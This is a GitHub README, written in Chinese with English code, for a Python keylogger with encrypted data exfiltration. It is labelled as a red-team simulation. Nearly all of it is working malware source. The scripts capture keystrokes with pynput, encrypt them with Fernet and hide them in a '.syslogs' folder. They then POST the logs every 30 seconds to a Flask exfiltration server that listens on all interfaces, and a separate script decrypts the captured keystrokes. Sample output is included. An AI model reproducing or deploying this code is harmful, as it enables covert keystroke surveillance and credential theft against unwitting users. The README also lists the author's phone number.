White-Hat-007/PROJECT-Keylogger-with-Encrypted-Data-Exfiltration
GitHub: White-Hat-007/PROJECT-Keylogger-with-Encrypted-Data-Exfiltration
一个用于红队模拟的 Python 键盘记录器，集成 Fernet 加密与 Flask 数据外发服务器，演示击键捕获到加密回传的完整流程。
Stars: 1 | Forks: 1
# 🔐 带有加密数据外发功能的键盘记录器
本项目演示了一个**基于 Python 的键盘记录器**的实现，它能够记录击键，使用对称加密（`Fernet`）对数据进行加密，并通过 HTTP POST 请求将其**外发**至远程的 **Flask 服务器**。它包含一个**终止开关**、**持久化逻辑**以及加密的日志存储。
## 🧠 概述
- 使用 `pynput` 记录每一次按键。
- 使用 Fernet 密钥（`cryptography` 包）加密日志。
- 将日志存储在隐藏的 `.syslogs` 目录中。
- 定期将加密日志**外发**至本地 Flask 服务器。
- 通过 `kill.flag` 文件支持**终止开关**。
- 仅出于教育、道德规范和模拟目的而构建。
## 🛠 使用的工具与库
- Python 3.10+
- [pynput](https://pypi.org/project/pynput/)
- [cryptography](https://pypi.org/project/cryptography/)
- Flask
- Requests
安装依赖项：
```
pip install pynput cryptography flask requests
```
## 📁 项目结构
```
KEYLOGGER/
│
├── logger.py # Main keylogger script
├── exfil_server.py # Flask server for data exfiltration
├── encryption.key # Fernet key (auto-generated)
├── decrypt_log.py # Log decryption tool
├── kill.flag # Kill switch file (optional)
├── .syslogs/ # Encrypted logs folder
└── received_data.bin # Server-side received payloads
```
## 🧾 分步指南
### 🔑 步骤 1：生成加密密钥
```
# 另存为 generate_key.py
from cryptography.fernet import Fernet
key = Fernet.generate_key()
with open("encryption.key", "wb") as f:
f.write(key)
print("Encryption key generated and saved as 'encryption.key'")
```
运行：
```
python generate_key.py
```
### 🎯 步骤 2：运行外发服务器
```
# exfil_server.py
from flask import Flask, request
import datetime
import os
app = Flask(__name__)
# 如果不存在，则创建用于存放日志的目录
RECEIVED_LOG_DIR = "exfil_received_logs"
os.makedirs(RECEIVED_LOG_DIR, exist_ok=True)
# 用于验证服务器状态的 Root route
@app.route("/", methods=["GET"])
def home():
return "🔐 Exfiltration Server is active. Awaiting POST requests at /exfil", 200
# 支持 GET（用于测试）和 POST（用于数据）的 Exfiltration endpoint
@app.route("/exfil", methods=["GET", "POST"])
def receive_data():
if request.method == "POST":
payload = request.data
timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H-%M-%S")
source_ip = request.remote_addr
payload_size = len(payload)
print(f"[INFO] [{timestamp}] Received {payload_size} bytes from {source_ip}")
filename = os.path.join(RECEIVED_LOG_DIR, f"payload_{timestamp}.bin")
with open(filename, "wb") as f:
f.write(b"===== PAYLOAD START =====\n")
f.write(f"[{timestamp}] From: {source_ip}\n".encode())
f.write(payload)
f.write(b"\n===== PAYLOAD END =====\n")
# Optional logging
with open(os.path.join(RECEIVED_LOG_DIR, "exfil_log.txt"), "a") as log:
log.write(f"[INFO] [{timestamp}] Received {payload_size} bytes from {source_ip}\n")
return "Payload received", 200
else:
# GET method: friendly message for browser/testing
return "Send a POST request with encrypted payload to /exfil", 200
if __name__ == "__main__":
# Run on all interfaces so you can connect remotely
app.run(host="0.0.0.0", port=5000)
```
运行：
```
python exfil_server.py
```
### 🎹 步骤 3：启动键盘记录器
```
# logger.py
import os
import datetime
import threading
import time
from pynput import keyboard
from cryptography.fernet import Fernet
import requests
# Constants
LOG_DIR = ".syslogs"
KEY_FILE = "encryption.key" # Make sure this matches your file name exactly
EXFIL_URL = "http://localhost:5000/exfil"
# 加载 encryption key
with open(KEY_FILE, "rb") as key_file:
key = key_file.read()
fernet = Fernet(key)
log = []
def ensure_log_dir():
if not os.path.exists(LOG_DIR):
os.makedirs(LOG_DIR)
def encrypt_and_store(log_data):
ensure_log_dir()
if log_data:
print("[+] Flushing and encrypting logs...") # Moved here
encrypted_data = fernet.encrypt("".join(log_data).encode())
timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
filename = os.path.join(LOG_DIR, f"log_{timestamp}.bin")
with open(filename, "wb") as f:
f.write(encrypted_data)
simulate_exfil(filename)
def simulate_exfil(filepath):
try:
with open(filepath, "rb") as f:
data = f.read()
response = requests.post(EXFIL_URL, data=data, timeout=5)
if response.status_code == 200:
print(f"[+] Exfiltrated {filepath} successfully.")
else:
print(f"[-] Exfiltration failed with status {response.status_code}")
except Exception as e:
print(f"[-] Exfiltration error: {e}")
def check_kill_switch():
return os.path.exists("kill.flag")
def flush_log():
global log
if log:
encrypt_and_store(log)
log = []
def periodic_flush():
while True:
time.sleep(30)
if check_kill_switch():
flush_log()
print("[*] Kill switch detected. Exiting.")
exit()
flush_log()
def on_press(key):
try:
log.append(str(key.char))
except AttributeError:
log.append(f"[{key}]")
def main():
ensure_log_dir()
print("[*] Logger started. Listening for keystrokes...")
threading.Thread(target=periodic_flush, daemon=True).start()
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
if __name__ == "__main__":
main()
```
运行记录器：
```
python logger.py
```
现在在键盘上输入以生成日志。日志将每 30 秒刷新一次。
### 🚫 步骤 4：终止开关（可选）
要优雅地停止记录器：
```
echo > kill.flag
```
记录器每 30 秒检查一次此文件，如果找到则终止运行。
### 🔓 步骤 5：解密日志
```
# decrypt_log.py
import os
from cryptography.fernet import Fernet
LOG_DIR = ".syslogs"
# 加载 encryption key
with open("encryption.key", "rb") as f:
key = f.read()
fernet = Fernet(key)
# 获取 .syslogs 中的文件列表，按修改时间排序，最新的排在最前面
files = sorted(
(os.path.join(LOG_DIR, f) for f in os.listdir(LOG_DIR) if f.endswith(".bin")),
key=os.path.getmtime,
reverse=True
)
if not files:
print("No log files found in .syslogs directory.")
exit()
latest_file = files[0]
print(f"Decrypting file: {latest_file}")
with open(latest_file, "rb") as f:
encrypted_data = f.read()
try:
decrypted_data = fernet.decrypt(encrypted_data)
print("Decrypted log content:")
print(decrypted_data.decode())
except Exception as e:
print(f"Error decrypting file: {e}")
```
## ✅ 示例输出
exfil_server.py 输出终端
```
* Serving Flask app 'exfil_server'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:5000
* Running on http://12.0.0.2:5000
Press CTRL+C to quit
127.0.0.1 - - [11/Jun/2025 16:37:40] "GET / HTTP/1.1" 200 -
```
logger.py 输出终端
```
[+] Logger started. Listening for keystrokes...
[+] Flushing and encrypting logs...
[+] Exfiltrated .syslogs\log_20250611_163934.bin successfully.
[*] Kill switch detected. Exiting.
```
decrypt_log.py 输出终端
```
Decrypted log content:
[Key.caps_lock]elevateabsisthebest[Key.space][Key.space]
[Key.caps_lock]levate[Key.caps_lock]l[Key.caps_lock]abs[Key.caps_lock]i
[Key.caps_lock]s[Key.caps_lock]t[Key.caps_lock]he[Key.caps_lock]b[Key.caps_lock]e
[Key.caps_lock]s[Key.caps_lock]t[Key.space][Key.caps_lock]d[Key.caps_lock]a[Key.caps_lock]r
```
## 👨💻 作者
**Darsh Chatrani**
🔗 [LinkedIn](https://linkedin.com/in/darshchatrani)
📞 联系方式：+91 97899 57123
标签：DNS 反向解析, Flask, Python, 加密, 字符串匹配, 数据窃取, 无后门, 漏洞扫描器, 网络信息收集, 逆向工具, 键盘记录器